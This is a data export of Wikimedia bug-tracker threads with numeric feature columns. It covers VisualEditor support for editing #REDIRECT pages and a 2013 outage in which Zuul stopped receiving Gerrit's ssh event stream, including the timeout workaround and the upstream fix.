https://bugzilla.wikimedia.org/show_bug.cgi?id=47329",Medium,50.0,1366223100,1392349729.0,PHID-USER-m2ezqyeb4uz67zq6bats,False,,False,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_description,resolved,True,c1,1,True,False,False,-11,,0.0,0.0,0.0,0.5,0.0,5.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.5,1.5,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.5,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.5,12.5,0.5,1.5,8.5,0.0,0.0,0.0,0.5,4.5,0.0,1.5,0.0,0.0,9.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,0.0,4.0,3.682352941176471,0.6588235294117647,"See bug 45808 for the corresponding Parsoid bug.

Currently editing a redirected page (say ""OLPC"") causes the following Bad Things to happen.

a) the edited page content is saved back to ""OLPC"", overwriting the original #REDIRECT

b) the page content is from ""One Laptop Per Child"", but with an added {{Redirect:OLPC}} template at the top; this extra template gets saved back with the rest of the edits.

In bug 45808, Parsoid will return a special <meta> or <link> tag in the body for redirected pages.  This bug is for the corresponding VE support to recognize that tag and provide a user-friendly interface for editing redirects.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
206972,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"(In reply to Gerrit Notification Bot from comment #10)

Neat! Is there documentation about this panel and/or a place to test it?",,,1392359125,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,21.0,0.0,4.0,7.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,4.0,18.0,11.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.9642857142857143,"(In reply to Gerrit Notification Bot from comment #10)

Neat! Is there documentation about this panel and/or a place to test it?"
206968,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Change 95213 merged by jenkins-bot:
Let users set #REDIRECT and __STATICREDIRECT__ status

https://gerrit.wikimedia.org/r/95213",,,1392349578,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9565217391304346,0.8695652173913043,"Change 95213 merged by jenkins-bot:
Let users set #REDIRECT and __STATICREDIRECT__ status

GERRIT_URL"
206964,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Change 95213 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT

https://gerrit.wikimedia.org/r/95213",,,1384373838,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.045454545454546,0.9545454545454546,"Change 95213 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT

GERRIT_URL"
206961,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Change 95103 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT, __NOTOC__, & __FORCETOC__

https://gerrit.wikimedia.org/r/95103",,,1384313396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,19,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.2285714285714286,0.7428571428571429,"Change 95103 had a related patch set uploaded by Jforrester:
[WIP] Let users set #REDIRECT, __NOTOC__, & __FORCETOC__

GERRIT_URL"
206957,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,It is also possible to fail to convert a non-redirect page into a redirect (e.g following a merge).,,,1372791338,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,4.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,4.0,3.5652173913043477,0.8260869565217391,It is also possible to fail to convert a non-redirect page into a redirect (e.g following a merge).
206951,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"This is likely obvious to everyone, but:  We need a way to create redirects in VisualEditor from redlinks.

VE is currently (02 July 2013) turned off for editing redirect pages at en.wikipedia.org.  However, it's still possible to create these pages using VE, which end up nowiki-ed and broken.",,,1372755903,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,3,False,,,0,,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,11.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,10.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.9365079365079363,0.8253968253968254,"This is likely obvious to everyone, but:  We need a way to create redirects in VisualEditor from redlinks.

VE is currently (02 July 2013) turned off for editing redirect pages at en.wikipedia.org.  However, it's still possible to create these pages using VE, which end up nowiki-ed and broken."
206943,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,Assigning to Jiabao Wu as discussed on bug 48489 comment 4.,,,1368806633,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,25.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.083333333333333,1.0,Assigning to Jiabao Wu as discussed on bug 48489 comment 4.
206937,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Redirect editing disabled by https://gerrit.wikimedia.org/r/64275, will need to be re-enabled when this bug is addressed.",,,1368789997,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2631578947368425,1.0,"Redirect editing disabled by GERRIT_URL, will need to be re-enabled when this bug is addressed."
206930,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"Some quick advice on this one:

* There'll need to be code in DM and UI; the code in Parsoid which it will interact with has just been merged into their master.
* I'd suggest looking at how {{DEFAULTSORT}} works as a starting point - see https://gerrit.wikimedia.org/r/#/c/61374/ for the DM side.
* On the UI side, you'd want to create a new panel in the meta-data dialog (""Page settings"" is probably the best name, though that's also the display name of the dialog, but we can fiddle with that later) into which you'd put a checkbox with an associated text box for a page name, with auto-suggest (like the link inspector has).",,,1368772067,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-7,,0.5,0.0,0.0,0.5,0.0,3.0,0.5,0.0,0.5,0.0,2.0,2.0,0.0,0.0,0.5,1.0,0.0,3.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,2.5,0.0,3.0,0.5,0.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,17.5,0.5,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,8.5,1.5,6.0,1.0,1.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.5,12.0,3.0,0.0,1.5,0.0,3.5,0.0,1.5,3.5,0.0,0.5,0.0,0.5,0.0,3.3649256651017216,0.7760172143974962,"Some quick advice on this one:

* There'll need to be code in DM and UI; the code in Parsoid which it will interact with has just been merged into their master.
* I'd suggest looking at how {{DEFAULTSORT}} works as a starting point - see URL for the DM side.
* On the UI side, you'd want to create a new panel in the meta-data dialog (""Page settings"" is probably the best name, though that's also the display name of the dialog, but we can fiddle with that later) into which you'd put a checkbox with an associated text box for a page name, with auto-suggest (like the link inspector has)."
206923,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,There's now a spec for redirects in the DOM: http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Redirects,,,1366225893,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,25.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.25,1.0,There's now a spec for redirects in the DOM: URL
206917,VisualEditor: Allow users to set/edit #REDIRECT status in the page metadata panel,"This is probably a post-July task; have split off a ""don't fail horribly"" bug as bug 47329, linked.",,,1366224646,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pp5tg5rybcmy6c6xwggf,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.8846153846153846,"This is probably a post-July task; have split off a ""don't fail horribly"" bug as bug 47329, linked."
48917,Zuul: Gerrit's ssh event stream unavailable,"Since at 2013-04-05 04:29:46 UTC, Zuul no more receives events from Gerrit. It uses a CLI command such as:

    ssh -p 29418  jenkins-bot@manganese.wikimedia.org gerrit stream-events

I did stream-events using both the jenkins-bot user and my own account 'hashar'. While submitting a new patchset or posting a comment: nothing is reported.

The end effect is that no jobs are triggered in Jenkins.

--------------------------

Summary (13/12/2017)

The sshd daemon (Mina) would lost connection on one way connections and hitting some kind of timeout.  That affected Zuul which idles with a `gerrit stream-events`.

Gerrit sshd.idleTimeout got set to 10 days as a workaround https://gerrit.wikimedia.org/r/#/c/58126/

Gerrit patch:

https://gerrit-review.googlesource.com/c/gerrit/+/44472 ([[ https://gerrit.googlesource.com/gerrit/+/79b91bfe746121a81a785bdd3b24df2096410c55 | 79b91bfe ]]) is the Gerrit patch.
",Medium,50.0,1365152280,1370873901.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_description,resolved,True,c1,1,True,False,True,-13,,0.5,0.0,0.0,1.0,0.0,2.5,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.0,0.5,1.0,7.0,0.5,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,4.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.5,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,13.0,1.5,1.5,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,1.5,7.0,9.5,0.0,1.0,0.0,1.5,0.0,0.5,3.0,0.0,2.0,0.5,0.0,1.5,4.012820512820513,0.7675657675657676,"Since at 2013-04-05 04:29:46 UTC, Zuul no more receives events from Gerrit. It uses a CLI command such as:

    ssh -p 29418  jenkins-bot@manganese.wikimedia.org gerrit stream-events

I did stream-events using both the jenkins-bot user and my own account 'hashar'. While submitting a new patchset or posting a comment: nothing is reported.

The end effect is that no jobs are triggered in Jenkins.

--------------------------

Summary (13/12/2017)

The sshd daemon (Mina) would lost connection on one way connections and hitting some kind of timeout.  That affected Zuul which idles with a CODE.

Gerrit sshd.idleTimeout got set to 10 days as a workaround URL

Gerrit patch:

URL ([[ URL | 79b91bfe ]]) is the Gerrit patch.
"
207691,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #24)
> We previously rolled back to a gerrit that exposed the problem again :-(
> 

To expand on this, last week when we tried upgrading to 2.7-rc1-424-gef469ac we hit a bunch of problems so we rolled back. However, I rolled too far back to 2.6-rc0-144-gb1dadd2.war instead of 2.6-rc0-154-gfcdb34b which lacked the SSH timeout fix mentioned above.",,,1370873901,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,13.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,10.0,3.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,0.0,9.0,0.0,6.0,13.0,1.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6857142857142855,0.7714285714285715,"(In reply to comment #24)
QUOTE
QUOTE

To expand on this, last week when we tried upgrading to 2.7-rc1-424-gef469ac we hit a bunch of problems so we rolled back. However, I rolled too far back to 2.6-rc0-144-gb1dadd2.war instead of 2.6-rc0-154-gfcdb34b which lacked the SSH timeout fix mentioned above."
207682,Zuul: Gerrit's ssh event stream unavailable,"We previously rolled back to a gerrit that exposed the problem again :-(

In case we ever do this again: To keep the zuul<->gerrit connection
alive, it suffices to have at least one event fed to zuul each 10
minutes.

So for example clone our gerrit-ping repo.
Restore
  https://gerrit.wikimedia.org/r/#/c/58060/
Fetch patch set 1.
And run

  while true ; do date ; ssh gerrit.wikimedia.org gerrit review -m ""'recheck'"" --verified 0 75be73703978e75a25d5e3bb5685c51580af3060 ; sleep 240 ; done

in a shell (I had ssh configured to automatically supply username and gerrit port).

Gerrit 2.6-rc0-154-gfcdb34b is the first version that we deployed and
contained the fix.",,,1370873749,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,2,False,,,-3,,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,3.0,0.0,4.5,5.5,0.0,2.0,0.0,0.5,0.0,3.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.5,0.5,0.0,13.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,3.5,0.5,5.5,0.5,2.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,5.0,0.0,3.5,5.5,5.5,0.0,3.0,0.0,3.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,4.002524143985952,0.8147497805092185,"We previously rolled back to a gerrit that exposed the problem again :-(

In case we ever do this again: To keep the zuul<->gerrit connection
alive, it suffices to have at least one event fed to zuul each 10
minutes.

So for example clone our gerrit-ping repo.
Restore
  URL
Fetch patch set 1.
And run

  while true ; do date ; ssh gerrit.wikimedia.org gerrit review -m ""'recheck'"" --verified 0 75be73703978e75a25d5e3bb5685c51580af3060 ; sleep 240 ; done

in a shell (I had ssh configured to automatically supply username and gerrit port).

Gerrit 2.6-rc0-154-gfcdb34b is the first version that we deployed and
contained the fix."
207674,Zuul: Gerrit's ssh event stream unavailable,*** Bug 49330 has been marked as a duplicate of this bug. ***,,,1370869884,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49330 has been marked as a duplicate of this bug. ***
207665,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #21)
> Lowering priority and severity since we have a workaround now.

Now actually doing so for priority too.",,,1368525775,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.263157894736842,1.0,"(In reply to comment #21)
QUOTE

Now actually doing so for priority too."
207656,Zuul: Gerrit's ssh event stream unavailable,Lowering priority and severity since we have a workaround now.,,,1365494859,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,True,,,-12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,4.818181818181818,1.0,Lowering priority and severity since we have a workaround now.
207651,Zuul: Gerrit's ssh event stream unavailable,*** Bug 47004 has been marked as a duplicate of this bug. ***,,,1365449902,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 47004 has been marked as a duplicate of this bug. ***
207645,Zuul: Gerrit's ssh event stream unavailable,Deployed the upstream patch just now.,,,1365422685,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,Deployed the upstream patch just now.
207641,Zuul: Gerrit's ssh event stream unavailable,"(In reply to comment #12)
> (In reply to comment #10)
> > https://gerrit-review.googlesource.com/#/c/44351/
> > got submitted to upstream gerrit.
> > 
> 
> It hasn't been reviewed / merged yet however. How long are we willing to
> wait?
> Can we apply it to our fork for now?
> 
> Jenkins being down is causing lots of workflow problems throughout the
> different projects.

We don't have a fork, we use vanilla Gerrit :)
But yes, I'm looking into deploying this now rather than waiting on upstream to merge.",,,1365417296,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-t6pdz2y6vcq57sem2c5t,task_subcomment,,True,c1,1,False,,,-12,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,26.0,0.0,2.0,3.0,0.0,2.0,0.0,2.0,5.0,2.0,2.0,0.0,5.0,10.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,3.2096774193548385,0.6290322580645161,"(In reply to comment #12)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We don't have a fork, we use vanilla Gerrit :)
But yes, I'm looking into deploying this now rather than waiting on upstream to merge."
207636,Zuul: Gerrit's ssh event stream unavailable,"Until we can deploy a new gerrit build, we prevent timeouts by forcing a
recheck on
https://gerrit.wikimedia.org/r/#/c/58060/
